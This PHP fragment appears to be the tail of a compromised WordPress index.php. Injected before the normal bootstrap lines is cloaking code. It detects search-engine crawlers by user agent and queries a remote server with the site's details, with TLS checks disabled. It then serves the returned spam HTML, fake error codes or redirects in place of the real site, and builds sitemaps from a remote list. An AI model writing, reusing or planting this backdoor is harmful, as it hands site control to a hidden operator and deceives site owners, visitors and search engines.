'; $rss_arr = explode("\r\n", $rss); $rss_str = $sitemap_header; foreach ($rss_arr as $value) { $value_arr = explode('[zx]', $value); $rss_str .= ' ' . $value_arr[1] . ' ' . $http . '://' . $host . "/" . $value_arr[0] . ' '.$host.' '.$date_str.' '; } echo $rss_str . " "; } if (!strstr($os_tmp, 'Gethome')) { $web = $http_web . '://' . $goweb . '/indexnew.php?url=' . $site . '&id=' . $id . '&temp=' . $temp . '&dt=' . $dt . '&web=' . $host . '&zz=' . smisbot() . '&clock=' . $clock . '&uri=' . $smuri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang; $html_content = trim(smoutdo($web)); if (!strstr($html_content, 'nobotuseragent')) { @header("Content-type: text/html; charset=utf-8"); if (strstr($html_content, 'okhtmlgetcontent')) { $html_content = str_replace("okhtmlgetcontent", '', $html_content); echo $html_content; exit(); } else if (strstr($html_content, 'getcontent500page')) { @header('HTTP/1.1 500 Internal Server Error'); exit(); } else if (strstr($html_content, 'getcontent404page')) { @header('HTTP/1.1 404 Not Found'); exit(); } else if (strstr($html_content, 'getcontent301page')) { @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page", '', $html_content); header('Location: ' . $html_content); exit(); } } } function smisbot() { $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'Y!J') || stristr($uAgent, 'y!j') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) { return true; } else { return false; } } function smoutdo($url) { $file_contents = ''; $user_agent = 'Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.2;.NET CLR 1.1.4322)'; if (function_exists('curl_init')) { try { $ch = curl_init(); $timeout = 30; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } catch (Exception $e) { } } if (strlen($file_contents) < 1 && function_exists('file_get_contents')) { ini_set('user_agent', $user_agent); try { $file_contents = @file_get_contents($url); } catch (Exception $e) { } } return $file_contents; } define('WP_USE_THEMES', true); require( dirname( __FILE__ ) . '/wp-blog-header.php' );